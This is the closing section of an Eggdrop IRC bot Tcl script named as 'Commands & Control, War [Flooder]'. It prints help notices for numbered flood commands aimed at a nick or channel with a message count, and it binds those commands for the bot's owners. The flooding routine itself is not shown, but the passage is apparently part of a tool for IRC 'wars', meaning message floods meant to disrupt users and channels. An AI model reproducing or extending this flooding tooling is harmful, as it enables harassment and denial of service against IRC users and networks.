	putquick "NOTICE $nick :${WARPRM}flood 11 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 12 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 13 <nick/#chan> <msgs>"
	putquick "NOTICE $nick :${WARPRM}flood 14 <nick/#chan> <msgs>"
	putquick "NOTICE $nick : "
	putquick "NOTICE $nick :Other Commands:"
	putquick "NOTICE $nick :${WARPRM}wfldhelp"
	putquick "NOTICE $nick :/msg $botnick wfldhelp"
	putquick "NOTICE $nick : "
	putcmdlog "$cmdwfllg <<$nick>> !$hand! War Commands \[Flooder\] Help." ; return 0
}

proc pub_wfhelp {nick uhost hand chan rest} {msg_wfhelp $nick $uhost $hand $rest}

if {[info exist cmdwfldloaded]} {
	if {${cmdwfldloaded}} {
		bind pub n|n ${WARPRM}flood pub_wflood
		bind pub n|n ${WARPRM}wfldhelp pub_wfhelp
		bind msg n|n wfldhelp msg_wfhelp
	} else {
		unbind pub n|n ${WARPRM}flood pub_wflood
		unbind pub n|n ${WARPRM}wfldhelp pub_wfhelp
		unbind msg n|n wfldhelp msg_wfhelp
	}
	putlog "${cmdwfllg} Commands & Control, War \[Flooder\]. Loaded."
}

# End of - Commands & Control, War [Flooder]. (cmd_wfld.tcl)
